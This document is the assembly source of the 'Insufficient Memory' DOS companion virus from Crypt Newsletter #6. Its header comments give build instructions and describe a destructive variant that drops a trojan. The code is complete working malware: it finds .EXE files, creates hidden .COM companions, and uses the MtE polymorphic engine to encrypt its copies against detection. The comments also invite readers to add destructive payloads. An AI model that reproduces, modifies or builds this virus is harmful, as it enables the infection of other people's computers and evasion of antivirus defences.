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179 lines
6.6 KiB
NASM
179 lines
6.6 KiB
NASM
;INSUFFICIENT MEMORY virus - by URNST KOUCH for Crypt Newsletter #6
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;INSUFF MEMO is a simple MUTATION ENGINE loaded spawning virus, which
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;confines itself to the current directory. To assemble with TASM 2.5, user
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;must have complete MTE091B software package (including RND.OBJ,
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;MTE.OBJ and stubfile, NOPS.BIN). Use MAKE2.BAT included in this
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;issue of the Crypt Newsletter to assemble all proper
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;components. Observant readers will notice INSUFF MEMO takes advantage of
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;VCL 1.0 code as well as notation from the SARA virus. INSUFF MEMO is
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;a non-threatening, unique example of an MtE-loaded companion virus -
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;the only one in circulation, in fact.
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;
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;INSUFF2, included as a DEBUG script in this newsletter, is functionally
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;identical to this virus. However, for those who 'require' a destructive
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;program for their full enjoyment, it is loaded with a routine which
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;simple checks the system time and branches to some 'dropper' code if
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;after quitting time (4:00 pm). The 'dropper' reads from a data table
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;and writes the NOIZ trojan to any .EXE in the current directory. By
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;looking carefully at this code, several areas where 'potentially'
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;destructive/nuisance routines can be added will suggest themselves.
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;We do not include them for a number of reasons: 1) they are easy to
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;come by in any number of books on assembly coding, the VCL 1.0 (an
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;excellent source), or source code archives on mnay BBS's, and; 2)
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;it allows you to get creative if you want and tinker (like I do all the
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; time) with the basic layout of virus source.
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;
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;INSUFF3's source listing is modified to allow the virus to jump out
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;of the current directory when all files in it are infected. The
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;listing is publicly available at the BBS's listed at the end of the
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;Crypt newsletter.
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.model tiny
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.radix 16
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.code
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extrn mut_engine: near
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extrn rnd_buf: word, data_top: near
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org 100
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start:
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call locadr
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reladr:
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db 'Insufficient memory'
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locadr:
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pop dx
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mov cl,4
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shr dx,cl
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sub dx,10
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mov cx,ds
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add cx,dx ;Calculate new CS
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mov dx,offset begin
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push cx dx
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retf
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begin:
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cld
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mov di,offset start
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push es di ;
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push cs ;A carry over from the DAV
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pop ds ;SARA virus, something of a curiosity
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;in this companion virus
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mov dx,offset dta_buf ;Set DTA
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mov ah,1a
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int 21
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mov ax,3524 ;Hook INT 24, error handler
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int 21 ;see bottom of code
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push es bx
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mov dx,offset fail_err
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mov ax,2524
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int 21
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xor ax,ax ;Initialize random seed for MtE
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mov [rnd_buf],ax ;could be coded, mov cs:[rnd_buf],0
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push sp ;process necessary for generation of
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pop cx ;MtE encryption key - see MtE docs
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sub cx,sp ;for further notation
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add cx,4
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push cx
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mov dx,offset srchnam ;EXE file-mask for spawn-name search
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mov cl,3
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mov ah,4e ; DOS find first file function
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find_a_file:
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int 021h
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jc infection_done ; Exit if no files found
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jmp infect ; Infect the file!
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jnc infection_done ; Exit if no error
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findr: mov ah,04Fh ; DOS find next file function
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jmp find_a_file ; Try finding another file
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infection_done:
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mov ax,4C00h ;terminate
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int 21h
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infect:
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mov ah,02Fh ; DOS get DTA address function
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int 021h
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mov di,bx ; DI points to the DTA
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lea si,[di + 01Eh] ; SI points to file name
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mov dx,si ; DX points to file name, too
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mov di,offset spawn_name + 1; DI points to new name
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xor ah,ah ; AH holds character count
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transfer_loop:
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lodsb ; Load a character
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or al,al ; Is it a NULL?
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je transfer_end ; If so then leave the loop
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inc ah ; Add one to the character count
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stosb ; Save the byte in the buffer
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jmp short transfer_loop ; Repeat the loop
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transfer_end:
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mov byte ptr [spawn_name],ah; First byte holds char. count
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mov byte ptr [di],13 ; Make CR the final character
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mov di,dx ; DI points to file name
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xor ch,ch ;
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mov cl,ah ; CX holds length of filename
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mov al,'.' ; AL holds char. to search for
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repne scasb ; Search for a dot in the name
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mov word ptr [di],'OC' ; Store "CO" as first two bytes
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mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
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mov byte ptr [set_carry],0 ; Assume we'll fail
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mov ax,03D00h ; DOS open file function, r/o
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int 021h
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jnc findr ; File already exists, so leave
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mov byte ptr [set_carry],1 ; Success -- the file is OK
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mov ah,03Ch ; DOS create file function
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mov cx,00100111b ; CX holds file attributes (all)
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int 21h
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xchg bx,ax ; BX holds file handle
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push dx cx
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mov ax,offset data_top+0Fh
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mov cl,4
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shr ax,cl
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mov cx,cs
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add ax,cx
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mov es,ax
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mov dx,offset start ; DX points to start of virus
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mov cx,offset _DATA ; CX holds virus length for encryption
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push bp bx
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mov bp,0100h ;tells MtE decryption routine will
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xor si,si ;hand over control to where virus adds
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xor di,di ;itself to 'infected' file, in this case offset
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mov bl,0Fh ;0100h .. set si/di to 0, bl to 0Fh, all required
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mov ax,101 ;set bit-field in ax
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call mut_engine ;call the Mutation Engine to do its thing
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pop bx ax
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add ax,cx
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neg ax
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xor ah,ah
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add ax,cx
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mov ah,040h ;write encrypted virus to newly created file
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int 21h
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mov ah,03Eh ;close the file
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int 21h
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cmp byte ptr [set_carry],1
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jmp infection_done ;move to end game
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fail_err: ;Critical error handler
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mov al,3 ;prevents virus from producing
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iret ;messages on write-protected disks.
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;Not handed back to machine when virus exits.
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srchnam db '*.EXE',0 ;File-mask for 'spawn-search.'
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.data
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dta_buf db 2bh dup(?) ; Buffer for DTA
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spawn_name db 12,12 dup (?),13 ; Name for next spawn
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set_carry db ? ; Set-carry-on-exit flag
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end start
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